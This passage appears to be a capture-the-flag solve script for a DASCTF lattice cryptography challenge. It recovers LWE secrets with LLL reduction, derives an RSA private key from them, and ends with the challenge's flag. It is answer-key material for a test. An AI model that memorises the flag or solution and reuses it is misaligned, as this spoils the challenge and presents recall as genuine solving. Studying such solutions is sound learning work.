print(f"[+] Flag Content: {flag_bytes}")
print(f"[+] Full Flag: DASCTF{{{flag_bytes.decode()}}}")
except:
continue
two_examples
import json
import ast
from hashlib import sha512
from Crypto.Util.number import long_to_bytes
# [1] 读取数据
print("[*] Loading data...")
with open('M.matrix', 'r') as f:
data_M = json.load(f)
# 使用 ast.literal_eval 安全地将字符串形式的列表转换为 Python 列表
A_list = ast.literal_eval(data_M["A"])
B_list = ast.literal_eval(data_M["B"])
p = int(data_M["p"])
with open('v.vector', 'r') as f:
data_v = json.load(f)
b1_list = ast.literal_eval(data_v["b1"])
b2_list = ast.literal_eval(data_v["b2"])
with open('RSA.enc', 'r') as f:
data_rsa = json.load(f)
N = int(data_rsa["N"])
c = int(data_rsa["c"])
# 转换为 Sage 对象
A = matrix(GF(p), A_list)
B = matrix(GF(p), B_list)
b1 = vector(GF(p), b1_list)
b2 = vector(GF(p), b2_list)
n = A.nrows() # 20
m = A.ncols() # 30
# [2] 构造和与差的方程
# sum: b1 + b2 = (s1 + s2)(A + B) + (e1 + e2)
# diff: b1 - b2 = (s1 - s2)(A - B) + (e1 - e2)
M_sum = A + B
v_sum = b1 + b2
M_diff = A - B
v_diff = b1 - b2
def solve_error(M_mat, v_vec, p):
"""
使用 CVP/Embedding 技术恢复误差向量
方程: v = s * M + e (mod p)
构造格:
[ M 0 ]
[ pI 0 ]
[ v 1 ]
"""
rows = M_mat.nrows()
cols = M_mat.ncols()
# 构造格基矩阵
# Block 1: M_mat (rows x cols) | 0
# Block 2: p*I (cols x cols) | 0
# Block 3: v_vec (1 x cols) | 1
# 注意:Sage中 block_matrix 很有用,但手动构造更直观以防维度混淆
# 这里的 M_mat 是 20x30,我们要利用行向量
L = matrix(ZZ, rows + cols + 1, cols + 1)
# 填入 M_mat (lifted to ZZ)
for i in range(rows):
for j in range(cols):
L[i, j] = int(M_mat[i, j])
# 填入 p * Identity
for i in range(cols):
L[rows + i, i] = p
# 填入 v_vec 和 1
for j in range(cols):
L[rows + cols, j] = int(v_vec[j])
L[rows + cols, cols] = 1
print(f"[*] Running LLL for matrix size {L.nrows()}x{L.ncols()}...")
L_red = L.LLL()
for row in L_red:
if row[cols] == 1:
return vector(GF(p), row[:cols]) # 这里的 row[:cols] 就是 -e 或者 e?
# 关系: v - sM - kpI = e.
# 格向量 vec = v * 1 + ... = e
# 所以找到的向量前部就是误差 e
elif row[cols] == -1:
return vector(GF(p), -row[:cols])
return None
print("[*] Solving for Error vectors...")
e_sum = solve_error(M_sum, v_sum, p)
e_diff = solve_error(M_diff, v_diff, p)
if e_sum is None or e_diff is None:
print("[-] LLL failed to recover errors.")
exit()
inv_2 = inverse_mod(2, p)
e1 = (e_sum + e_diff) * inv_2
e2 = (e_sum - e_diff) * inv_2
def vec_to_signed_int(v, p):
res = []
for x in v:
i = int(x)
if i > p // 2:
res.append(i - p)
else:
res.append(i)
return res
print(f"[*] e1 recovered sample: {vec_to_signed_int(e1, p)[:5]}")
target_sum = v_sum - e_sum
target_diff = v_diff - e_diff
# solve_left: x * M = b
s_sum = M_sum.solve_left(target_sum)
s_diff = M_diff.solve_left(target_diff)
s1 = (s_sum + s_diff) * inv_2
s2 = (s_sum - s_diff) * inv_2
print("[*] s1 and s2 recovered.")
def vector_to_sha512_hex(vec):
vector_str = ''.join(str(i) for i in vec)
res = sha512(vector_str.encode()).hexdigest()
res = int(res, 16)
return res
d_base = vector_to_sha512_hex(s1) + vector_to_sha512_hex(s2)
for i in range(10):
d_guess = d_base + i
m_int = power_mod(c, d_guess, N)
try:
flag_bytes = long_to_bytes(int(m_int))
if b'flag{' in flag_bytes or b'CTF{' in flag_bytes:
print(f"\n[+] Flag found with d_offset={i}:")
print(flag_bytes.decode())
break
except:
continue
else:
print(f"\n[!] Header not found, raw hex of first attempt:")
m_int = power_mod(c, d_base, N)
print(long_to_bytes(int(m_int)))
DASCTF{Y0U_Can_S01ve_The_lwe!!!!}